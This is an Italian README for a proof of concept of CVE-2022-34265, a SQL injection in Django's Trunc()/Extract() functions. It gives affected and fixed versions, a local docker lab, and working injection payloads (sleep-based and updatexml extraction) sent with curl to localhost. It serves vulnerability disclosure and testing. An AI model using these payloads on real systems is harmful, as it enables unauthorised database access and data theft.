CVE-2022-34265

PoC per CVE-2022-34265

Descrizione

Un problema è stato scoperto in Django 3.2 precedente alla 3.2.14 e in Django 4.0 precedente alla 4.0.6. Le funzioni di database Trunc() ed Extract() sono soggette a SQL injection se dati non attendibili vengono usati come valore kind/lookup_name. Le applicazioni che limitano la scelta del lookup name e del kind a una lista sicura nota non sono interessate.

Come usare

Avvio

git clone https://github.com/ZhaoQi99/CVE-2022-34265.git
cd CVE-2022-34265
docker-compose up -d

Rimozione

docker-compose down

Versioni interessate

• Django >= 3.2, < 3.2.14

• Django >= 4.0, < 4.0.6

Versioni corrette

• Django 3.2.14

• Django 4.0.6

Verifica

Ambiente

• Django 4.0.5
• Python 3.8.13
• MySQL 5.7

Payload

• YEAR FROM start_time)) ;select sleep(5)--

• YEAR FROM start_time)) and updatexml(1,concat(1,(select name from TEST limit 1),1),1)--

PoC

curl "http://127.0.0.1:8000/extract/?lookup_name=YEAR%20FROM%20start_time))%20%3Bselect%20sleep(5)--"
curl "http://127.0.0.1:8000/extract/?lookup_name=YEAR%20FROM%20start_time))%20and%20updatexml(1%2Cconcat(1%2C(select%20name%20from%20TEST%20limit%201)%2C1)%2C1)--"

PS: Nel caso di database diversi, l'esistenza delle vulnerabilità è differente. La vulnerabilità non esiste nel backend del database MYSQL per la funzione Trunc.

Riferimenti

• Segnalatore: TAKUTO YOSHIKAI (usando PostgreSQL)

• django/django@877c800

• django/django@5e2f4dd

• https://github.com/advisories/GHSA-p64x-8rxx-wf6q

• CVE-2022-34265 Analisi e debug della vulnerabilità SQL injection di Django - Comunità Xianzhi